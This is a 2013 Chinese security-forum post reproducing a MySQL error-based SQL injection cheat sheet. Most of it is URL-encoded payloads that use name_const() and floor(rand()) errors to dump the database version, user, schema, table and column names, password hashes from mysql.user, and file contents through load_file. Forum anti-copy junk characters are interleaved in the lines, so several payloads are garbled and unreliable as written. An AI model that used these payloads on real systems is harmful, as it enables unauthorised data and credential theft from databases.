本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
/ W$ ?0 U$ n" L
( n' L5 L4 F) D p7 i6 u- W7 K' ?3 ?" v+ O
Mysql暴错注入参考(pdf),每天一贴。。。
; s. g& E. B# [& n) I
, y6 j2 y9 {/ C7 KMySql Error Based Injection Reference6 n; W( Q8 q Q* ^) }. M- q' Y6 @
[Mysql暴错注入参考]
1 ~# v6 C3 _! SAuthornig0s1992
$ e9 ~% j5 j" A8 C0 i' {Blog:http://pnig0s1992.blog.51cto.com/
' Q* ?6 ]% G: y/ Y% b* u! L! pTeAm:http://www.FreeBuf.com/% X/ `) s$ D8 E# \5 Z
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
% N% T9 I. _7 m( }8 ^9 {小部分版本使用name_const()时会报错.可以用给出的Method.2测试
: e( q! J0 P- `8 X7 x# u查询版本:1 g" T! g( n) o7 u! g& Q9 V. ~
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
! s4 p, d8 ^+ Q& c, o; Mjoin+(select+name_const(@@version,0))b)c)
& v5 Y0 O/ |& W; JMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro7 p0 @! A6 K2 h; Z; \
up by a)b)
7 V$ N5 M. v* G9 W% c" v F查询当前用户:( N* g/ V- G" A7 k2 u% I
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
% @0 H' G3 s5 }" ~% u" rMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r t4 O$ Y/ T8 V3 A
and(0)*2))x+from+information_schema.tables+group+by+x)a)
) r, g* s# p2 s0 |5 y查询当前数据库:
% D3 L$ a: B) @* c, n/ J! H4 EMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)9 A v/ K' ^# f. X8 Q6 N
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo; |* V; e/ d/ C+ f
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
1 x# `3 f9 b, Y" b" q, a依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+: | @5 {3 i) H2 r3 U
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
% w, Q4 {9 g( G: ^& d顺序替换( U3 N6 ?9 `; X* I9 h+ [
爆指定库数目:. Z8 O7 C; W1 ?, z6 @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
+ z6 ^' B' c6 @& G9 k8 P6 u" eable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
8 L. N. q- c5 | Q# m/ Q+by+x)a)+and+1=1 0x6D7973716C=mysql
# a! D* S6 d( ?依次爆表:9 m2 C- c; I7 w: w6 K: X
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
F3 U2 Z5 u& |; [$ _( f9 g ]& _1 table_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
! U' L0 a1 A7 u- N* g( L0 }0 ?bles+group+by+x)a)+and+1=15 ?9 I s/ n( ~2 ?8 Q
0x6D7973716C=Mysql 将n顺序替换
6 L; Z. V `# k; P爆表内字段数目:
- T7 R0 L; C0 X* u7 ]& kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE; Y* P% C+ O: l# {2 i& d7 G
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
, ?, e; l% K! F/ `. I# q+ r2 y. r6 _0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: e/ z0 H7 l7 x0 C7 @1 P
依次爆字段:5 n, c, ^- Z y6 n
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where3 k3 Q4 r0 u* {: z& a2 B* E. u
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
3 J8 l1 ^' X! h. _- ~: a, G( F# [; Gloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
2 }6 i, M: H5 R! y: B依次暴内容:
8 r* S' U! ?& e9 W* T- x1 {and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche' i1 I X" u: L: G+ ]$ B. _) j
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=12 J G2 m g( W2 T4 R
将n顺序替换6 s. { O# Y1 m2 b
爆文件内容:$ a+ B: Y7 w' u$ w, ]2 {
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a9 w# h6 S+ A4 `" W7 w
from+information_schema.tables+group+by+a)b) . E4 A7 l. f* e4 x: i. k0 L
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
8 }* n" I$ V, F: l, PThx for reading.1 s2 p) b/ y) E4 b7 |5 R: @
+ S6 l7 e. f& d& \4 |& @$ i$ V$ c5 f: p不要下载也可以,
, M& t }# f1 }8 B& [ |